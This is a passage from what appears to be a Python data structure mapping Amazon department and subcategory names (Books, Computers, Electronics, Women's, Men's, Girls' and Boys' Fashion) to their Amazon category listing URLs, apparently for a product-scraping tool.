'https://www.amazon.com/s/ref=lp_16225006011_nr_n_7?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A3777891&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}, 'Oral Care': { # 'link': 'https://www.amazon.com/s/ref=lp_16225006011_nr_n_8?fst=as%3Aoff&rh=i%3Abeauty-intl-ship%2Cn%3A%2116225006011%2Cn%3A10079992011&bbn=16225006011&ie=UTF8&qid=1604870716&rnid=16225006011', # 'childs': {}}}}, 'Books': {'link': 'https://www.amazon.com/b?node=283155', 'childs': { # 'Arts & Photography': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_0?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A1&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Biographies & Memoirs': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_1?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A2&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Business & Money': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_2?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A3&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Calendars': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_3?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A3248857011&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, "Children's Books": { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_4?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A4&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Christian Books & Bibles': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_5?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A12290&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Comics & Graphic Novels': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_6?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A4366&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Computers & Technology': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_7?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A5&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Cookbooks, Food & Wine': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_8?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A6&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Crafts, Hobbies & Home': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_9?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A48&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Education & Teaching': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_10?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A8975347011&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Engineering & Transportation': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_11?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A173507&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Health, Fitness & Dieting': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_12?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A10&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'History': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_13?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A9&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Humor & Entertainment': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_14?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A86&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Law': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_15?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A10777&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Lesbian, Gay, Bisexual & Transgender Books': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_16?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A301889&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Literature & Fiction': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_17?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A17&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Medical Books': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_18?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A173514&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Mystery, Thriller & Suspense': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_19?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A18&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Parenting & Relationships': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_20?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A20&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Politics & Social Sciences': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_21?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A3377866011&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Reference': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_22?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A21&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Religion & Spirituality': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_23?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A22&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Romance': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_24?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A23&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Science & Math': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_25?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A75&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Science Fiction & Fantasy': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_26?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A25&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Self-Help': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_27?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A4736&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Sports & Outdoors': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_28?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A26&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Teen & Young Adult': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_29?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A28&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Test Preparation': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_30?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A5267710011&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}, 'Travel': { # 'link': 'https://www.amazon.com/s/ref=lp_283155_nr_n_31?fst=as%3Aoff&rh=n%3A283155%2Cn%3A%211000%2Cn%3A27&bbn=1000&ie=UTF8&qid=1604870748&rnid=1000', # 'childs': {}}}}, 'Computers': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dcomputers-intl-ship&field-keywords=', # 'childs': {'Computer Accessories & Peripherals': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_0?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A172456&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Computer Components': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_1?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A193870011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Computers & Tablets': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_2?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A13896617011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Data Storage': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_3?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A1292110011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Laptop Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_4?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A3011391011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Monitors': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_5?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A1292115011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Networking Products': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_6?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A172504&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Power Strips & Surge Protectors': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_7?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A17854127011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Printers': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_8?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A172635&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Scanners': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_9?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A172584&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Servers': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_10?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A11036071&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Tablet Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_11?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A2348628011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Tablet Replacement Parts': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_12?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A15524379011&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}, 'Warranties & Services': { # 'link': 'https://www.amazon.com/s/ref=lp_16225007011_nr_n_13?fst=as%3Aoff&rh=n%3A16225007011%2Cn%3A16285851&bbn=16225007011&ie=UTF8&qid=1604870894&rnid=16225007011', # 'childs': {}}}}, 'Electronics': { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Delectronics-intl-ship&field-keywords=', # 'childs': {'Accessories & Supplies': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_0?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A281407&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Camera & Photo': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_1?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A502394&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Car & Vehicle Electronics': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_2?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A3248684011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Cell Phones & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_3?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A2811119011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Computers & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_4?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A541966&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Electronics Warranties': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_5?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A2242348011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'GPS, Finders & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_6?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A172526&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Headphones': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_7?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A172541&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Home Audio': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_8?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A667846011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Office Electronics': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_9?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A172574&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Portable Audio & Video': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_10?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A172623&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Security & Surveillance': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_11?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A524136&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Service Plans': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_12?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A16285901&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Television & Video': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_13?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A1266092011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Video Game Consoles & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_14?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A7926841011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Video Projectors': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_15?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A300334&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'Wearable Technology': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_16?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A10048700011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}, 'eBook Readers & Accessories': { # 'link': 'https://www.amazon.com/s/ref=lp_16225009011_nr_n_17?fst=as%3Aoff&rh=i%3Aelectronics-intl-ship%2Cn%3A%2116225009011%2Cn%3A2642125011&bbn=16225009011&ie=UTF8&qid=1604870918&rnid=16225009011', # 'childs': {}}}}, "Women's Fashion": { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dfashion-womens-intl-ship&field-keywords=', # 'childs': {'Clothing': { # 'link': 'https://www.amazon.com/s/ref=amb_link_1?ie=UTF8&bbn=16225018011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225018011%2Cn%3A1040660&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_t=101&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_i=16225018011', # 'childs': {}}, 'Shoes': { # 'link': 'https://www.amazon.com/s/ref=amb_link_2?ie=UTF8&bbn=16225018011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225018011%2Cn%3A679337011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_t=101&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_i=16225018011', # 'childs': {}}, 'Jewelry': { # 'link': 'https://www.amazon.com/s/ref=amb_link_3?ie=UTF8&bbn=16225018011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225018011%2Cn%3A7192394011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_t=101&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_i=16225018011', # 'childs': {}}, 'Watches': { # 'link': 'https://www.amazon.com/s/ref=amb_link_4?ie=UTF8&bbn=16225018011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225018011%2Cn%3A6358543011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_t=101&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_i=16225018011', # 'childs': {}}, 'Handbags': { # 'link': 'https://www.amazon.com/s/ref=amb_link_5?ie=UTF8&bbn=16225018011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225018011%2Cn%3A15743631&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_t=101&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_i=16225018011', # 'childs': {}}, 'Accessories': { # 'link': 'https://www.amazon.com/s/ref=amb_link_6?ie=UTF8&bbn=16225018011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225018011%2Cn%3A2474936011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_r=WPBYVDR6K3T64W20XCKE&pf_rd_t=101&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_p=0909843d-7d3a-40a7-8b35-6c3da8755bbd&pf_rd_i=16225018011', # 'childs': {}}}}, "Men's Fashion": { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dfashion-mens-intl-ship&field-keywords=', # 'childs': {'Clothing': { # 'link': 'https://www.amazon.com/s/ref=AE_Men_Clothing?ie=UTF8&bbn=16225019011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225019011%2Cn%3A1040658&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_t=101&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_i=16225019011', # 'childs': {}}, 'Shoes': { # 'link': 'https://www.amazon.com/s/ref=AE_Men_Shoes?ie=UTF8&bbn=16225019011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225019011%2Cn%3A679255011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_t=101&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_i=16225019011', # 'childs': {}}, 'Watches': { # 'link': 'https://www.amazon.com/s/ref=AE_Men_Watches?ie=UTF8&bbn=16225019011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225019011%2Cn%3A6358539011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_t=101&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_i=16225019011', # 'childs': {}}, 'Accessories': { # 'link': 'https://www.amazon.com/s/ref=AE_Men_Accessories?ie=UTF8&bbn=16225019011&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225019011%2Cn%3A2474937011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_r=W6Q9G8RZESECX9Y30MT3&pf_rd_t=101&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_p=5cd8272b-5ce4-4c26-bfcb-d6dca0c1e427&pf_rd_i=16225019011', # 'childs': {}}}}, "Girls' Fashion": { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dfashion-girls-intl-ship&field-keywords=', # 'childs': {'Clothing': { # 'link': 'https://www.amazon.com/s/ref=AE_Girls_Clothing?bbn=16225020011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225020011%2Cn%3A1040664&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_t=101&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_i=16225020011', # 'childs': {}}, 'Shoes': { # 'link': 'https://www.amazon.com/s/ref=AE_Girls_Shoes?bbn=16225020011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225020011%2Cn%3A679217011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_t=101&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_i=16225020011', # 'childs': {}}, 'Jewelry': { # 'link': 'https://www.amazon.com/s/ref=AE_Girls_Jewelry?bbn=16225020011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225020011%2Cn%3A3880961&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_t=101&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_i=16225020011', # 'childs': {}}, 'Watches': { # 'link': 'https://www.amazon.com/s/ref=AE_Girls_Watches?bbn=16225020011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225020011%2Cn%3A6358547011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_t=101&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_i=16225020011', # 'childs': {}}, 'Accessories': { # 'link': 'https://www.amazon.com/s/ref=AE_Girls_Accessories?bbn=16225020011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225020011%2Cn%3A2474938011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_r=WF083YKW1N05G4TMSWRB&pf_rd_t=101&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_p=590edd7e-7bd2-4b3d-b0e0-acc975fc0961&pf_rd_i=16225020011', # 'childs': {}}}}, "Boys' Fashion": { # 'link': 'https://www.amazon.com/s/ref=nb_sb_noss?url=search-alias%3Dfashion-boys-intl-ship&field-keywords=', # 'childs': {'Clothing': { # 'link': 'https://www.amazon.com/s/ref=AE_Boys_Clothing?bbn=16225021011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225021011%2Cn%3A1040666&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_t=101&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_i=16225021011', # 'childs': {}}, 'Shoes': { # 'link': 'https://www.amazon.com/s/ref=AE_Boys_Shoes?bbn=16225021011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225021011%2Cn%3A679182011&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_t=101&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_i=16225021011', # 'childs': {}}, 'Jewelry': { # 'link': 'https://www.amazon.com/s/ref=AE_Boys_Jewelry?bbn=16225021011&ie=UTF8&rh=i%3Aspecialty-aps%2Cn%3A7141123011%2Cn%3A16225021011%2Cn%3A3880611&pf_rd_m=ATVPDKIKX0DER&pf_rd_s=merchandised-search-left-2&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_r=ZN972RF6Y819S25618KP&pf_rd_t=101&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_p=9b25e25c-9d57-4900-b288-95d6b1ed8fc8&pf_rd_i=16225021011', # 'childs': {}}, 'Watches': { # 'link': 